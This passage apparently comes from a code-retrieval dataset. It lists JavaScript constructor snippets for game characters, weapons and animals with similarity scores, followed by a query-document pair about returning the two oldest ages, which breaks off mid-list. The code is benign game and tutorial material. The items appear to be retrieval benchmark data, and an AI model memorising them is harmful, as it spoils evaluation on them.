}\\r\\n\\t\\r\\n\\t/*\\r\\n\\tAttacks with grenade\\r\\n\\t*/\\r\\n\\tthis.attackGrenade = function(target) {\\r\\n\\tthis.weapon.grenade(target);\\r\\n }\\r\\n\\t\\r\\n}\",\n \"function DoggoFighter(name,specialAbility){\\n this.name = name;\\n this.specialAbility = specialAbility;\\n}\",\n \"constructor(name, legs, isDanger){\\n super(name, legs)//properties inherited from the parent class\\n this.isDanger = isDanger\\n }\",\n \"function Gun( ownerImage, projectileImage, shoot ) {\\n this.ownerImage = ownerImage;\\n this.image = projectileImage;\\n this.shoot = shoot;\\n if (this.shoot === undefined) {\\n // Do nothing\\n this.shoot = function() {\\n \\n }\\n }\\n}\",\n \"youngGun(args) {\\n return this.createGameObject(\\\"YoungGun\\\", young_gun_1.YoungGun, args);\\n }\",\n \"function Dog(hungry) {\\n\\n this.status = \\\"normal\\\";\\n this.color = \\\"black\\\";\\n this.hungry = \\\"hungry\\\";\\n}\",\n \"function Penguin(name){\\n this.name = name;\\n this.numLegs = 2;\\n}\",\n \"function Penguin(name){\\n this.name = name;\\n this.numLegs = 2;\\n}\",\n \"function Penguin(name){\\n this.name = name;\\n this.numLegs = 2;\\n}\",\n \"function Warrior(heroName=\\\"Cloud\\\", heroLevel=99, heroWeapon=\\\"the Brotherhood\\\") {\\n // In order to effectively call 'super' in JS, we use \\n Hero.call(this, heroName, heroLevel);\\n this.heroWeapon = heroWeapon;\\n}\",\n \"constructor(name, health, speed, strength, wisdom){\\n super(name);\\n this.health = 200;\\n this.speed = 10;\\n this.strength = 10;\\n this.wisdom = 10;\\n }\",\n \"function Fighter(name, health, damagePerAttack) {\\n this.name = name\\n this.health = health;\\n this.damagePerAttack = damagePerAttack;\\n this.toString = function() { return this.name; }\\n}\",\n \"function Penguin(name) {\\n this.name = name;\\n this.numLegs = 2;\\n}\",\n \"function Penguin(name) {\\n this.name = name;\\n this.numLegs = 2;\\n}\",\n \"constructor(...args) {\\n super(...args);\\n\\n this.addClasses('character');\\n this.directionX = 0;\\n this.directionY = 0;\\n }\",\n \"function Ninja(name, health=100) {\\n // create a private variable that stores a reference to the new object we create\\n var self = this;\\n var strength =3;\\n var speed =3;\\n this.nameT = name;\\n this.healthT =health;\\n\\n this.sayName = function(){\\n console.log(`My ninja name is ${this.nameT}`)\\n } \\n this.showStats = function() {\\n console.log(`Name: ${this.nameT} , Health is ${this.healthT} , Speed: ${speed} , Strength${strength}` )\\n }\\n \\n this.drinkSake = function() {\\n this.healthT +=10;\\n }\\n\\n\\n // this.method = function() {\\n // console.log( \\\"I am a method\\\");\\n\\n // var privateMethod = function() {\\n // console.log(\\\"this is a private method for \\\" + self.name);\\n // console.log(self);\\n // }\\n // this.age = age;\\n // this.greet = function() {\\n // console.log(\\\"Hello my name is \\\" + this.name + \\\" and I am \\\" + this.age + \\\" years old!\\\");\\n // // we can access our attributes within the constructor!\\n // console.log(\\\"Also my privateVariable says: \\\" + privateVariable)\\n // // we can access our methods within the constructor!\\n // privateMethod();\\n // }\\n}\",\n \"function Fighter(name, health, damagePerAttack, special, avatar) {\\n this.name = name;\\n this.health = health;\\n this.maxHealth = health;\\n this.damagePerAttack = damagePerAttack;\\n this.special = special;\\n this.avatar = avatar;\\n this.toString = function() {\\n return this.name;\\n };\\n}\",\n \"function Penguin(name) { // All penguins have 2 legs, so we only need the function parameter name\\n this.name = name;\\n this.numLegs = 2;\\n}\",\n \"constructor(...args) {\\n super(...args);\\n\\n\\n // The following values should get overridden when delta states are merged, but we set them here as a reference for you to see what variables this class has.\\n\\n // default values for private member values\\n this.corpses = 0;\\n this.isCastle = false;\\n this.isGoldMine = false;\\n this.isGrass = false;\\n this.isIslandGoldMine = false;\\n this.isPath = false;\\n this.isRiver = false;\\n this.isTower = false;\\n this.isUnitSpawn = false;\\n this.isWall = false;\\n this.isWorkerSpawn = false;\\n this.numGhouls = 0;\\n this.numHounds = 0;\\n this.numZombies = 0;\\n this.owner = null;\\n this.tileEast = null;\\n this.tileNorth = null;\\n this.tileSouth = null;\\n this.tileWest = null;\\n this.tower = null;\\n this.unit = null;\\n this.x = 0;\\n this.y = 0;\\n\\n //<<-- Creer-Merge: init -->> - Code you add between this comment and the end comment will be preserved between Creer re-runs.\\n // any additional init logic you want can go here\\n //<<-- /Creer-Merge: init -->>\\n }\",\n \"function AllianceFaction(Character, Class, Gender, Profession){\\n this.Character = Character;\\n this.Class = Class;\\n this.Gender = Gender;\\n this.Profession = Profession;\\n this.profile = function(){\\n return `My race is ${this.Character}, I am a ${this.Gender} ${this.Class}, I specialize in ${this.Profession}`;\\n // console.log(this);\\n }\\n}\",\n \"function Weapon(name, target) {\\n this.name = name;\\n this.target = target;\\n}\",\n \"function Gun(x, y, size)\\n{\\n\\tthis.x = x;\\n\\tthis.y = y;\\n\\tthis.size = size;\\n}\",\n \"constructor()\\n\\t{\\n\\t\\tthis.HP = 100;\\n\\t\\tthis.dmg = 30;\\n\\t\\tthis.evasion = 15;\\n\\n\\t\\t//boolean for special move\\n\\t\\tthis.fly = 0;\\n\\t\\tthis.invi = 0;\\n\\t\\tthis.slammed = 0;\\n\\n\\t\\tthis.alive = true;\\n\\t}\",\n \"constructor(...args) {\\n super(...args);\\n\\n\\n // The following values should get overridden when delta states are merged, but we set them here as a reference for you to see what variables this class has.\\n\\n // default values for private member values\\n this.canMove = false;\\n this.drunkDirection = '';\\n this.focus = 0;\\n this.health = 0;\\n this.isDead = false;\\n this.isDrunk = false;\\n this.job = '';\\n this.owner = null;\\n this.tile = null;\\n this.tolerance = 0;\\n this.turnsBusy = 0;\\n\\n //<<-- Creer-Merge: init -->> - Code you add between this comment and the end comment will be preserved between Creer re-runs.\\n // any additional init logic you want can go here\\n //<<-- /Creer-Merge: init -->>\\n }\",\n \"function Warrior(name, health, anger) {\\n Hero.call(this, name, health);\\n this.anger = anger;\\n}\",\n \"function Ninja() {\\r\\n this.swung = true;\\r\\n}\",\n \"function Penguin(name, numLegs){\\n this.name = name;\\n this.numLegs = numLegs;\\n}\",\n \"initialize() {\\n // prepare characters for fighting\\n this.c1.prepareForFight();\\n this.c2.prepareForFight();\\n\\n // show characters stats\\n console.log('Players are ready to fight!');\\n this.c1.printStats();\\n this.c2.printStats();\\n\\n // who starts the fight?\\n if (\\n // character 1 is faster?\\n this.c1.speed > this.c2.speed ||\\n (\\n // same speed...\\n this.c1.speed === this.c2.speed &&\\n // ...but character 1 is luckier\\n this.c1.luck > this.c2.luck\\n )\\n ) {\\n // character 1 starts the fight\\n this.attacker = this.c1;\\n this.defender = this.c2;\\n } else {\\n // character 2 starts the fight\\n this.attacker = this.c2;\\n this.defender = this.c1;\\n }\\n }\",\n \"function Greetr()\\r\\n{\\r\\n this.greeting = 'Hola mundo!';\\r\\n}\",\n \"function dragonConstructor(name, age){\\n\\tthis.species = \\\"Dragon\\\";\\n\\tthis.size = \\\"Enormous\\\";\\n\\tthis.isDead = false;\\n\\tthis.name = name;\\n\\tthis.age = age;\\n\\n\\tthis.getDefeated = () => this.isDead = true;\\n}\",\n \"function Dog() {\\nthis.name = \\\"Rupert\\\";\\nthis.color = \\\"brown\\\";\\nthis.numLegs = 4;\\n}\",\n \"function fighterStats(name, hp, atk, def) {\\n this.name = name;\\n this.hp = hp;\\n this.hp2 = hp;\\n this.atk = atk;\\n this.def = def;\\n\\n /** Takes damage from an enemy@param{int} damage The damage taken*/\\n this.takeDamage = function(damage) {\\n var damageTaken = Math.abs(damage - this.def);\\n if(damage <= this.def) {\\n damageTaken = 1;\\n }\\n this.hp2 = this.hp2 - damageTaken;\\n this.hp2 = this.hp2 < 0 ? 0 : this.hp2;\\n console.log(damageTaken);\\n // console.log('You have taken ' + damage + 'damage!');\\n }\\n}\",\n \"function Ninja(name, health=100, speed=3, strength=3){\\n this.name=name;\\n this.health=health;\\n this.speed=speed;\\n this.strength = strength;\\n this.sayName = function(){\\n console.log(\\\"My ninja name is \\\"+name);\\n };\\n}\",\n \"constructor(...args) {\\n super(...args);\\n\\n\\n // The following values should get overridden when delta states are merged, but we set them here as a reference for you to see what variables this class has.\\n\\n /**\\n * The name of the game.\\n */\\n this.name = 'Chess';\\n\\n // default values for private member values\\n this.currentPlayer = null;\\n this.currentTurn = 0;\\n this.fen = '';\\n this.gameObjects = {};\\n this.maxTurns = 0;\\n this.moves = [];\\n this.pieces = [];\\n this.players = [];\\n this.session = '';\\n this.turnsToDraw = 0;\\n }\",\n \"constructor(){\\n console.log(\\\"Creating a new alien\\\")\\n this.health = 100;\\n this.damage = 50;\\n\\n }\",\n \"function Dog() {\\n this.name = \\\"Rex\\\";\\n this.color = \\\"Black\\\";\\n this.numLegs = 4;\\n}\",\n \"function Dog() {\\n this.name = \\\"Rusty\\\";\\n this.color = \\\"Golden\\\";\\n this.numLegs = 4;\\n}\",\n \"function turtle(name,color,weapon,favoritePizzaType){\\n this.name=name;\\n this.color=color;\\n this.weapon=weapon;\\n this.favoritePizzaType=favoritePizzaType;\\n}\",\n \"constructor(name, age, breed, color) {\\n // Set those equal to the instance\\n this.name = name;\\n this.age = age;\\n this.breed = breed;\\n this.color = color;\\n this.energyLevel = 0;\\n this.barkLevel = 10;\\n }\",\n \"function Ninja(name) {\\n this.name = name;\\n this.health = 100;\\n const speed = 3;\\n const strength = 3;\\n \\n // Add methods to the Ninja prototype\\n // Log the Ninja's name to the console\\n Ninja.prototype.sayName = function() {\\n console.log(\\\"My ninja name is \\\" + this.name + \\\"!\\\");\\n return this;\\n };\\n\\n // Shows the Ninja's Strength and Speed, and their Health\\n Ninja.prototype.showStats = function() {\\n console.log(\\\"Name: \\\" + this.name + \\\", \\\" + \\\"Health: \\\" + this.health + \\\", \\\" + \\\"Speed: \\\" + speed + \\\", \\\" + \\\"Strength: \\\" + strength);\\n return this;\\n };\\n\\n // Adds +10 Health to the Ninja\\n Ninja.prototype.drinkSake = function() {\\n this.health += 10;\\n return this;\\n };\\n\\n // Takes another Ninja instance and subtracts 5 Health from the Ninja passed in\\n Ninja.prototype.punch = function(punchReceiver) {\\n // Validation to only accept instances of the Ninja class\\n if (punchReceiver instanceof Ninja) {\\n punchReceiver.health -= 5;\\n console.log(punchReceiver.name + \\\" was punched by \\\" + this.name + \\\" and lost 5 Health!\\\");\\n } else {\\n console.log(\\\"Not a Ninja\\\")\\n };\\n return this;\\n };\\n\\n // Subtracts 15 Health for each point of Strength the calling Ninja has, and like .punch() will take another Ninja instance\\n Ninja.prototype.kick = function(kickReceiver) {\\n // Validation to only accept instances of the Ninja class\\n if (kickReceiver instanceof Ninja) {\\n const kickDamage = 15 * strength;\\n kickReceiver.health -= kickDamage;\\n console.log(kickReceiver.name + \\\" was kicked by \\\" + this.name + \\\" and lost \\\" + kickDamage + \\\" Health!\\\");\\n } else {\\n console.log(\\\"Not a Ninja\\\")\\n };\\n return this;\\n };\\n}\",\n \"constructor(name, hull, firePower, accuracy) { // constructors are info about class (this. belongs to constructor)\\n this.name = name;\\n this.hull = hull;\\n this.firePower = firePower;\\n this.accuracy = accuracy;\\n }\",\n \"function Person(name, weapon) {\\n this.name = name;\\n this.weapon = weapon;\\n}\",\n \"function Game_Troop() {\\n this.initialize.apply(this, arguments);\\n}\",\n \"constructor(name){\\n console.log(\\\"Creating a new alien\\\")\\n this.health = 100;\\n this.damage = 50;\\n //assigned to the object being created\\n this.name = name; \\n\\n }\",\n \"function Penguin(name, numLegs) {\\n this.name = name;\\n this.numLegs = numLegs;\\n}\",\n \"function Game_Unit() {\\n this.initialize.apply(this, arguments);\\n}\",\n \"function Ninja(name){\\n\\n\\tlet speed = 3;\\n\\tlet strength = 3;\\n\\tthis.name = name;\\n\\tthis.health = 100;\\n\\n\\tthis.sayName = function(){\\n\\t\\tconsole.log(this.name);\\n\\t}\\n\\n\\tthis.showStats = function(){\\n\\t\\tconsole.log(`Name: ${this.name}, Health: ${this.health}, Strength: ${strength}, Speed: ${speed}`);\\n\\t}\\n\\n\\tthis.drinkSake = function(){\\n\\t\\tthis.health += 10;\\n\\t\\treturn this;\\n\\t}\\n\\n\\tthis.punch = function(target){\\n\\t\\tif(target instanceof Ninja){\\n\\t\\t\\ttarget.health -= 5;\\n\\t\\t\\tconsole.log(`${target.name} was punched by ${this.name} and health is down to ${target.health}`);\\n\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tconsole.log(`You can't punch a ${target.constructor.name}`);\\n\\t\\t}\\n\\t}\\n\\n\\tthis.kick = function(target){\\n\\t\\tif(target instanceof Ninja){\\n\\t\\t\\ttarget.health -= 15;\\n\\t\\t\\tconsole.log(`${target.name} was kicked by ${this.name} and health is down to ${target.health}`);\\n\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tconsole.log(`You can't kick a ${target.constructor.name}`);\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"function Player () {\\n\\t this.x = 450; \\n\\t this.y = 850;\\n\\t this.w = 20;\\n\\t this.h = 20;\\n\\t this.deltaX = 0;\\n\\t this.deltaY = 0;\\n\\t this.xTarget = 0;\\n\\t this.yTarget = 0;\\n\\t this.tired = false;\\n\\t this.speed = 0;\\n\\t this.topSpeed = 5;\\n\\t this.energy = 150;\\n\\t this.maxEnergy = 150;\\n\\t this.maxHealth = 150;\\n\\t this.health = 150;\\n\\t this.recovery = 0\\n\\t this.xcenter = 400;\\n\\t this.ycenter = 300;\\n\\t this.fill = '#000000';\\n\\t this.xdirection = 1;\\n\\t this.ydirection = 0;\\n\\t this.acceleration = 0.4;\\n\\t this.radius = 0;\\n\\t this.angle = 1.7;\\n\\t this.mot = 0;\\n\\t this.closestVehicle = 0;\\n\\t this.distanceFromVehicle = 0;\\n\\t this.gettingInVehicle = 0;\\n\\t this.inBuilding = 0;\\n\\t this.walkTimer = 0;\\n\\t this.xVector = 0;\\n\\t this.yVector = 0;\\n\\t this.standImage = playerStand;\\n\\t this.walkAnimations = [\\\"\\\", playerWalk1, playerWalk2, playerWalk3, playerWalk4];\\n\\t this.activeWeapon = -1;\\n\\t this.weaponsPossessed = [\\n\\t\\t{name: \\\"Pistol\\\", img: \\\"\\\", possess: false, ammo: 0, notHaveColor: '#783a3a', haveColor: 'red'},\\n\\t\\t{name: \\\"Machine Gun\\\", img: \\\"\\\", possess: false, ammo: 0, notHaveColor: '#595c38', haveColor: '#fffb00'},\\n\\t\\t{name: \\\"Plasma Gun\\\", img: \\\"\\\", possess: false, ammo: 0, notHaveColor: '#388994', haveColor: '#05e2ff'},\\n\\t\\t{name: \\\"Rocket Launcher\\\", img: \\\"\\\", possess: false, ammo: 0, notHaveColor: '#661b61', haveColor: '#ff00ee'}\\n\\t ];\\n\\t this.weaponCount = 0;\\n\\t this.nearDoor = false;\\n\\t this.nearBuilding = false;\\n\\t this.ammo = [1000, 1500, 2000, 50, 30]\\n\\t this.kills = 0;\\n\\t this.points = 100;\\n\\t this.maxPoints = 10000;\\n\\t this.onTile = {x: 0, y: 0};\\n\\t this.inBounds = {\\n\\n\\t }\\n\\t this.fBuffer = 0\\n\\t this.onWeaponIcon = -1;\\n\\t this.onPerkIcon = -1;\\n\\t this.interactTimer = 0;\\n\\t this.interactDebounceTime = 50;\\n\\t this.walkedOn = {\\n\\t\\tsand: false,\\n\\t\\twater: false,\\n\\t\\tgrass: false, \\n\\t }\\n}\",\n \"function OogaahBattlefield() {\\n\\tOogaahPile.apply(this, null); // construct the base class\\n}\",\n \"function Weapon() {\\r\\n this.name;\\r\\n this.type;\\r\\n}\",\n \"function User() {\\r\\n //\\\"this\\\" refers back to the object that calls it and is assigned the users name later on in the code\\r\\n this.name = \\\"\\\";\\r\\n //this starts each user with 100 health\\r\\n this.life = 100;\\r\\n /*this is a function that takes the parameter \\\"targetPlayer\\\" (which is the player that would lose health) and\\r\\n adds 1 to the target players health while at the same time decreasing the user who is giving health by 1\\r\\n */\\r\\n this.givelife = function givelife(targetPlayer) {\\r\\n targetPlayer.life += 1;\\r\\n this.life -= 1;\\r\\n console.log(this.name, 'gave one life to', targetPlayer.name)\\r\\n };\\r\\n}\",\n \"constructor(name, weapon, type){ // Constructor is something only for subclass\\n // console.log(this) - js wont allow us to run this in subclass untill we use the super() keyword\\n super(name, weapon); // Super calls the super class of elf (Character). It goes up and calls the constructor\\n console.log('this from subclass', this)\\n this.type = type\\n }\",\n \"function Dog() {\\n this.name = \\\"Fluffers\\\";\\n this.color = \\\"yellow\\\";\\n this.numLegs = 4;\\n}\",\n \"function GObject(h, s, tileimg){\\n\\tthis.health = 100; \\n\\tthis.strength = 5;\\t//can think of this as resistance for objects\\n\\tthis.timg = tileimg;\\n}\",\n \"function Dog() {\\n this.name = \\\"Rupert\\\";\\n this.color = \\\"brown\\\";\\n this.numLegs = 4;\\n}\",\n \"function Dog() {\\n this.name = \\\"Rupert\\\";\\n this.color = \\\"brown\\\";\\n this.numLegs = 4;\\n}\",\n \"function Dragon(life, name, level, color, spell){\\n //Keyword this references the newly created Dragon object\\n //So we pass that to our previous constructor as a reference\\n Enemy.call(this, life, name, level); //Remeber this is an object itself\\n //And set the rest of the properties\\n this.color = color;\\n this.spell = spell;\\n }\",\n \"TakeWeapon() {\\n this._on_cooldown = true\\n this._PaintSpawn()\\n this._last_use = Date.now()\\n }\",\n \"function Greeter(phase) {\\n this.phase = phase;\\n}\",\n \"function Dog(){//Constructors are functions that create new objects.\\n this.name = 'Charlie';//They define properties and behaviors that will belong to the new object.\\n this.color = 'Red-brown';//'this.attribute' etc.\\n this.numLegs = 4;\\n}\",\n \"constructor(name, legs) {\\n this.name = name;\\n this.legs = legs;\\n }\",\n \"function Dog() {\\n this.name = \\\"Rupert\\\";\\n this.color = \\\"brown\\\";\\n this.numLegs = 4;\\n }\",\n \"function Dog() {\\n this.name = \\\"Rupert\\\";\\n this.color = \\\"brown\\\";\\n this.numLegs = 4;\\n }\",\n \"function WalkingCreature(oxygen, legs) {\\n Walker.call(this, legs, oxygen);\\n}\",\n \"function Penguin(name, numLegs) {\\n this.name = name;\\n this.numLegs = 2;\\n }\",\n \"function Penguin(name, numLegs) {\\n this.name = name;\\n this.numLegs = 2;\\n }\",\n \"constructor(hull, firepower,accuracy){\\n this.hull=hull;\\n this.firepower=firepower;\\n this.accuracy=accuracy;\\n }\",\n \"constructor(...args) {\\n super(...args);\\n\\n\\n // The following values should get overridden when delta states are merged, but we set them here as a reference for you to see what variables this class has.\\n\\n // default values for private member values\\n this.fireExtinguished = 0;\\n\\n //<<-- Creer-Merge: init -->> - Code you add between this comment and the end comment will be preserved between Creer re-runs.\\n // any additional init logic you want can go here\\n //<<-- /Creer-Merge: init -->>\\n }\",\n \"constructor(name, favoriteFood, hoursOfSleep) {\\n // you can set any your custom properties\\n this.legs = 2;\\n this.hands = 2;\\n this.head = 1;\\n this.name = name;\\n this.favoriteFood = favoriteFood;\\n this.hoursOfSleep = hoursOfSleep;\\n }\",\n \"function Dog(){\\n this.name = \\\"Bob\\\";\\n this.color = \\\"red\\\";\\n this.numLegs = 4;\\n}\",\n \"function Character() {\\r\\n // customization attributes\\r\\n isMale = false;\\r\\n\\r\\n // battle attributes\\r\\n money = -1;\\r\\n lifePoints = -1;\\r\\n weaponUpgrade = -1;\\r\\n shieldUpgrade = -1;\\r\\n clockNumber = -1;\\r\\n brainNumber = -1;\\r\\n \\r\\n // customization attributes\\r\\n this.setGender = function(gender) {\\r\\n if(gender===\\\"male\\\")\\r\\n isMale = true;\\r\\n else // is not male -> female\\r\\n isMale = false;\\r\\n };// end mutator\\r\\n this.getGender = function() {\\r\\n if(isMale)\\r\\n return \\\"male\\\";\\r\\n else // is not male -> female\\r\\n return \\\"female\\\";\\r\\n };// end accessor\\r\\n this.setImage = function() { \\r\\n if(isMale)\\r\\n $(\\\"#girlSprite\\\").css(\\\"visibility\\\", \\\"hidden\\\");// hide girl for boy, and vice versa\\r\\n else// is female\\r\\n $(\\\"#boySprite\\\").css(\\\"visibility\\\", \\\"hidden\\\");\\r\\n changeCharacterLives();\\r\\n };// end setImage \\r\\n \\r\\n // battle-related functions\\r\\n this.setMoney = function(m) {\\r\\n money = m;\\r\\n };// end mutator\\r\\n this.getMoney = function() {\\r\\n return money;\\r\\n };// end accessor\\r\\n this.setLifePoints = function(lp) {\\r\\n lifePoints = lp;\\r\\n changeCharacterLives();\\r\\n };// end mutator\\r\\n this.getLifePoints = function() {\\r\\n return lifePoints;\\r\\n };// end accessor \\r\\n this.setWeaponUpgrade = function(level) {\\r\\n weaponUpgrade = level;\\r\\n };// end mutator\\r\\n this.getWeaponUpgrade = function() {\\r\\n return weaponUpgrade;\\r\\n };// end accessor \\r\\n this.setShieldUpgrade = function(level) {\\r\\n shieldUpgrade = level;\\r\\n };// end mutator\\r\\n this.getShieldUpgrade = function() {\\r\\n return shieldUpgrade;\\r\\n };// end accessor \\r\\n this.setClockNumber = function(amount) {\\r\\n clockNumber = amount;\\r\\n };// end mutator\\r\\n this.getClockNumber = function() {\\r\\n return clockNumber;\\r\\n };// end accessor\\r\\n this.setBrainNumber = function(amount) {\\r\\n brainNumber = amount;\\r\\n };// end mutator\\r\\n this.getBrainNumber = function() {\\r\\n return brainNumber;\\r\\n };// end accessor \\r\\n \\r\\n this.loseLife = function() {\\r\\n lifePoints --;\\r\\n changeCharacterLives();\\r\\n };// end loseLife\\r\\n function changeCharacterLives() {\\r\\n var canvas = document.getElementById(\\\"characterLives\\\");\\r\\n var context = canvas.getContext('2d');\\r\\n var imageObj = new Image();\\r\\n context.clearRect(0,0,canvas.width,canvas.height);\\r\\n imageObj.src = \\\"images/heart.png\\\";\\r\\n imageObj.onload = function() {\\r\\n for(var i=0; i> - Code you add between this comment and the end comment will be preserved between Creer re-runs.\\n // any additional init logic you want can go here\\n //<<-- /Creer-Merge: init -->>\\n }\",\n \"constructor(){\\n this.hull=20;\\n this.firepower=5;\\n this.accuracy=0.7;\\n }\",\n \"function Character(name, profession, gender, age, strength, hitPoints) {\\n this.name = name;\\n this.profession = profession;\\n this.gender = gender;\\n this.age = age;\\n this.strength = strength;\\n this.hitPoints = hitPoints;\\n this.PrintStatus = function() {\\n // console.log(this.name, this.profession, this.gender, this.age, this.strength, this.hitPoints);\\n console.log(JSON.stringify(this));\\n // console.log(this);\\n }\\n this.IsAlive = function() {\\n if (hitPoints > 0) {\\n console.log(this.name + ' is alive. For now...')\\n } else {\\n console.log(this.name + ' is dead. Such a shame. Welp...')\\n }\\n }\\n this.Attack = function(target) {\\n target.hitPoints -= this.strength;\\n console.log(target.name + ' took some damage! They have ' + target.hitPoints + ' hit points left. In your face ' + target.name + '!')\\n }\\n this.levelUp = function() {\\n this.age += 1;\\n this.strength += 5;\\n this.hitPoints += 25;\\n console.log(`${this.name} leveled up yo! That's kinda rad. They are now ${this.age} years old, have ${this.strength} strength and have ${this.hitPoints} hit points.`)\\n }\\n}\",\n \"function Ninja(name){\\n\\tthis.name = name;\\n\\tthis.health = 100;\\n\\t// speed and strength need to be private\\n\\tthis.speed = 3;\\n\\tthis.strength =3;\\n}\",\n \"function ShadowRunner() {\\n Archer.apply(this, arguments);\\n this.class = 'ShadowRunner';\\n this.health = 21;\\n this.armor = 17;\\n this.dex = 13;\\n this.str = 5;\\n }\",\n \"constructor() {\\n super(\\\"MainScene\\\");\\n // Monster variables\\n this.monsterImage = null;\\n this.hp = 5;\\n this.hpText = null;\\n this.soulsText = null;\\n // Levels in upgrades\\n this.levels = {\\n bolt: 0\\n }\\n // Status of monster\\n this.alive = false;\\n }\",\n \"function Animal() {\\n // arguments\\n this.spaces = \\\"Animal\\\";\\n this.growup = function () {\\n console.log(\\\"Stronger\\\");\\n }\\n}\",\n \"function SuperHuman(name,age,power){\\n this.power = power;\\n Human.call(this,name,age);\\n}\",\n \"function fight() {\\n // Update interface with fighters' name and hp's\\n refreshDomElement($outputDiv, playersArray[0].name + ' and ' + playersArray[1].name + ' are going to fight !');\\n\\n // Choose first attacker and add new property on chosen player\\n var first = randomIntFromInterval(1, 2);\\n player1 = playersArray[0];\\n player2 = playersArray[1];\\n\\n if (first === 1) {\\n player1.start = 1;\\n } else {\\n player2.start = 1;\\n }\\n\\n // Round function\\n round();\\n}\",\n \"function Dog (color, status, hungry) {\\n this.color = color\\n this.status = status\\n this.hungry = false\\n this.owner = undefined\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.67743284","0.6739134","0.66912013","0.66515183","0.6590362","0.6360284","0.6355191","0.6214117","0.61946684","0.6174791","0.6174791","0.6172805","0.6158926","0.6143233","0.6126082","0.6047762","0.6047762","0.6028191","0.6028043","0.6022599","0.6015924","0.6014758","0.6014676","0.5976162","0.5973028","0.59453994","0.5943851","0.5929283","0.5922839","0.5907319","0.58972603","0.5889763","0.586973","0.58695763","0.58653176","0.58640385","0.5860563","0.58498573","0.5838948","0.58373356","0.58350635","0.5830752","0.5830646","0.5822728","0.58213615","0.5821193","0.5819181","0.5817385","0.5811216","0.5810946","0.58070016","0.5803088","0.58004165","0.57872415","0.57857674","0.5781385","0.5780304","0.57791364","0.57791364","0.5769981","0.57605475","0.5760482","0.57447815","0.5741004","0.57384795","0.57384795","0.57340246","0.57323605","0.57323605","0.5724932","0.57210404","0.571987","0.57102376","0.5708682","0.5706589","0.5700068","0.5687746","0.5680388","0.5674733","0.5648329","0.564763","0.56468","0.5629625","0.5629416","0.5629279","0.56286854","0.5620858","0.56198674","0.5612431","0.56081796","0.56077737","0.56049144","0.5597199","0.559528","0.55828327","0.5576765","0.5573424","0.55732703","0.557199","0.5567445"],"string":"[\n \"0.67743284\",\n \"0.6739134\",\n \"0.66912013\",\n \"0.66515183\",\n \"0.6590362\",\n \"0.6360284\",\n \"0.6355191\",\n \"0.6214117\",\n \"0.61946684\",\n \"0.6174791\",\n \"0.6174791\",\n \"0.6172805\",\n \"0.6158926\",\n \"0.6143233\",\n \"0.6126082\",\n \"0.6047762\",\n \"0.6047762\",\n \"0.6028191\",\n \"0.6028043\",\n \"0.6022599\",\n \"0.6015924\",\n \"0.6014758\",\n \"0.6014676\",\n \"0.5976162\",\n \"0.5973028\",\n \"0.59453994\",\n \"0.5943851\",\n \"0.5929283\",\n \"0.5922839\",\n \"0.5907319\",\n \"0.58972603\",\n \"0.5889763\",\n \"0.586973\",\n \"0.58695763\",\n \"0.58653176\",\n \"0.58640385\",\n \"0.5860563\",\n \"0.58498573\",\n \"0.5838948\",\n \"0.58373356\",\n \"0.58350635\",\n \"0.5830752\",\n \"0.5830646\",\n \"0.5822728\",\n \"0.58213615\",\n \"0.5821193\",\n \"0.5819181\",\n \"0.5817385\",\n \"0.5811216\",\n \"0.5810946\",\n \"0.58070016\",\n \"0.5803088\",\n \"0.58004165\",\n \"0.57872415\",\n \"0.57857674\",\n \"0.5781385\",\n \"0.5780304\",\n \"0.57791364\",\n \"0.57791364\",\n \"0.5769981\",\n \"0.57605475\",\n \"0.5760482\",\n \"0.57447815\",\n \"0.5741004\",\n \"0.57384795\",\n \"0.57384795\",\n \"0.57340246\",\n \"0.57323605\",\n \"0.57323605\",\n \"0.5724932\",\n \"0.57210404\",\n \"0.571987\",\n \"0.57102376\",\n \"0.5708682\",\n \"0.5706589\",\n \"0.5700068\",\n \"0.5687746\",\n \"0.5680388\",\n \"0.5674733\",\n \"0.5648329\",\n \"0.564763\",\n \"0.56468\",\n \"0.5629625\",\n \"0.5629416\",\n \"0.5629279\",\n \"0.56286854\",\n \"0.5620858\",\n \"0.56198674\",\n \"0.5612431\",\n \"0.56081796\",\n \"0.56077737\",\n \"0.56049144\",\n \"0.5597199\",\n \"0.559528\",\n \"0.55828327\",\n \"0.5576765\",\n \"0.5573424\",\n \"0.55732703\",\n \"0.557199\",\n \"0.5567445\"\n]"},"document_score":{"kind":"string","value":"0.5953281"},"document_rank":{"kind":"string","value":"25"}}},{"rowIdx":76,"cells":{"query":{"kind":"string","value":"return the two oldest/oldest ages within the array of ages passed in."},"document":{"kind":"string","value":"function twoOldestAges(ages){\n ages.sort((a,b) => b-a)\n ages = ages.slice(0,2)\n ages.sort((a,b) => a-b);\n return ages;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function twoOldestAges(ages){\n let sorted = ages.sort((a, b) => { return b - a; });\n return [sorted[1], sorted[0]];\n }","function twoOldestAges(ages){\nlet oldestAges = ages.sort((a, b) => b-a).splice(0,2).reverse();\n return oldestAges;\n}","function twoOldestAges(ages){\n var sortArr = ages.map(Number).sort(function (a, b) { return a - b; });\n var scoreTab = [sortArr[sortArr.length - 2], sortArr[sortArr.length - 1]];\n return scoreTab;\n}","function older(array){\n\tvar max = 0;\n\tvar olderst = {};\n\tfor (var i=0; i max){\n\t\t\tmax= array[i][\"age\"];\n\t\t\toldest = array[i];\n\t\t}\n\t}\n\treturn oldest;\t\t\n}","function byAge(arr){\n const youngToOld = arr.sort((a, b) => {\n return a.age - b.age\n })\n return youngToOld\n}","function older(a, b) {\n\treturn max(a, b, ageCompare);\n }","function findOlder(arr)\n{\n\tvar oldest = arr[0].age;\n\tvar oldClassmate = {};\n\n\tfor(var i=1; i oldest)\n\t\t{\n\t\t\toldest = arr[i].age;\n\t\t\toldClassmate = arr[i];\n\t\t}\n\t}\n\n\treturn oldClassmate;\n}","function older(people,age){\n\tnew newArray =[];\n\tfor ( var i =0; i < array.length-1;i++){\n\t\tif(Arr[i].age > age){\n\t\t\tnewArray.push(Arr[i].age);\n\t\t}\t\n\t}\n\treturn newArray;\n}","function younger(a, b) {\n\treturn min(a, b, ageCompare);\n }","function checkYoungest(array) {\n var arrIndex = 0;\n var minAge = array[0].age;\n for (var i = 1; i < array.length; i++) 